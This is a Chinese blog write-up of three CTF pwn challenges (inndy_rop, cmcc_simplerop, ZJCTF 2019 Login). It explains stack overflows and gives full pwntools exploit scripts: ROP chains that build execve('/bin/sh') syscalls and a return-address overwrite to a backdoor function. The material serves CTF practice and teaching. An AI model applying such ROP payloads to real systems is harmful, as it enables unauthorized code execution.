buuctf pwn (inndy_rop)(cmcc_simplerop)([ZJCTF 2019]Login)

文章详细记录了三个不同类型的Pwn题目解决方案,包括利用栈溢出和ROPgadget来构造payload,以及如何绕过安全机制执行自定义代码。通过调试和分析程序,找到关键的系统调用和内存地址,最终实现远程命令执行。
摘要由CSDN通过智能技术生成

由于buuctf好多pwn题目都是一个类型的,所以就把不同的,学到东西的题目,记录一下

inndy_rop

在这里插入图片描述
gets存在栈溢出
本来也没啥
在这里插入图片描述
但是看到别人的用法也是第一次碰到,所以说一下
通过

ROPgadget --binary pwn14 --ropchain

这个工具,就能直接生成脚本去利用
在这里插入图片描述
然后加上偏移
脚本如下:

from pwn import *
from struct import pack
context(os='linux',arch='i386',log_level='debug')
#p=remote("node4.buuoj.cn",29527)
r=process("./pwn14")
#libc=ELF("/lib/i386-linux-gnu/libc.so.6")
elf=ELF("./pwn14")
def bug():
	gdb.attach(p)
	pause()
p = b'a'*(0xc+4)

p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b8016) # pop eax ; ret
p += b'/bin'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b8016) # pop eax ; ret
p += b'//sh'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080de769) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0806c943) # int 0x80
#bug()
r.sendline(p)
p.interactive()

这里需要注意的是
1.不能再用 p 代表进程了,因为生成的payload就是p
2.需要在头加一个头模块 from struct import pack
在这里插入图片描述

cmcc_simplerop

这个题目本来想着挺简单的,但是做的时候,发现对32位的rop链布置,有点不熟悉了,这个题又给复习了一下
checksec一下
在这里插入图片描述
在这里插入图片描述
栈溢出,并且是静态编译,而且有pop_edx_ecx_ebx——ret,和pop_eax——ret
但是程序没有/bin/sh,所以思路是采用execve(“11”,/bin/sh",null,null),系统调用号为11,先调用read函数把/bin/sh读入到bss段内,再调用execve(“11”,/bin/sh",null,null),布置rop的时候,

b'a'*(0x1c+4)+p32(read_addr)+p32(pop_edx_ecx_ebx)+p32(0)+p32(bss_addr)+p32(0x8)

read函数的返回地址改为了pop_edx_ecx_ebx,把read函数调用之后的参数给弹出栈
在这里插入图片描述
为了pop_eax为0xb,所以要弹出三次,就返回到pop_eax——ret了
脚本如下:

from pwn import *
from struct import pack
context(os='linux',arch='i386',log_level='debug')
p=remote("node4.buuoj.cn",26558)
#p=process("./pwn16")
#libc=ELF("/lib/i386-linux-gnu/libc.so.6")
elf=ELF("./pwn16")
def bug():
	gdb.attach(p)
	pause()
read_addr=0x806CD50
bss_addr=0x80Eaf80+0x50
pop_edx_ecx_ebx=0x0806e850
pop_eax=0x080bae06
int_0x80=0x080493e1
pay = b'a'*(0x1c+4)+p32(read_addr)+p32(pop_edx_ecx_ebx)+p32(0)+p32(bss_addr)+p32(0x8)
pay+=p32(pop_eax)+p32(0xb)+p32(pop_edx_ecx_ebx)+p32(0)+p32(0)+p32(bss_addr)+p32(int_0x80)
#bug()
p.sendline(pay)
pause()
pa=b'/bin/sh\x00'
p.send(pa)
p.interactive()

在这里插入图片描述

[ZJCTF 2019]Login

c++的pwn题,做的比较少,而且做的时间也挺长的,主要是代码不好分析,记录一下
查看一下保护:
在这里插入图片描述
canary保护有点棘手,再看一下程序
是个c++题目
在这里插入图片描述
盲猜admin是账号,2jctf_pa5sw0rd是密码
然后输入运行一下。
在这里插入图片描述
说明程序中某个地方出现了错误,程序才会报错。
所以再分析一下代码
在这里插入图片描述发现此处会调用a1,这个a1大概率是我们能够控制的(要不然程序应该不会报错)
这里伪c虽然容易懂,但是汇编层面的代码更直观,更准确
这里先找到a1到底是哪个变量能修改的,所以采用倒着看的方式
在这里插入图片描述

这里有个call rax并且rax是黄色这个变量能控制的,在上面发现这个变量是rdi传入的
在这里插入图片描述
在main函数中发现rdi是主函数中的,再进入到下面那个函数(上张图中的函数),可以追溯到rdi是rax赋值的
在这里插入图片描述rax是黄色的变量赋值的,而黄色的变量是rax赋值的在这里插入图片描述
进入到最近的函数看看rax是否被修改
在这里插入图片描述

rax被修改为后面变量的地址,而这个变量又是rdi传入的,再追溯
在这里插入图片描述

rdi又是这个rax赋值的
在这里插入图片描述再跟进一下上面的函数发现,rax是被放入这个函数的地址了,
在这里插入图片描述
正确输入,会报错,不正确输入则没有问题,所以问题大概率就是我们输入的内容可能修改了影响rax的函数地址了,看一下输入的函数
在这里插入图片描述

发现这个奇怪函数,跟进发一下
在这里插入图片描述
发现这个函数修改【s-0x50,s】里的内容,把0xa修改成0,而那个函数刚好是0x400AB4
里面有0xa所以会修改成0,程序就会报错,既然如此,调试一下
在这里插入图片描述
根据我们的输入,算一下偏移(0x48),把0x4000b4修改成后门函数即可

from pwn import *
from struct import pack
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#p=remote("node4.buuoj.cn",28141)
p=process("./pwn22")
#libc=ELF("/lib/i386-linux-gnu/libc.so.6")
elf=ELF("./pwn22")
def bug():
	gdb.attach(p)
	pause()
shell=0x400E88
p.recvuntil("Please enter username: ")
pay=b'admin'
#bug()
p.sendline(pay)
p.recvuntil("Please enter password: ")

pay1=(b'2jctf_pa5sw0rd').ljust(0x48,b'\x00')+p64(shell)
p.sendline(pay1)

p.interactive()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值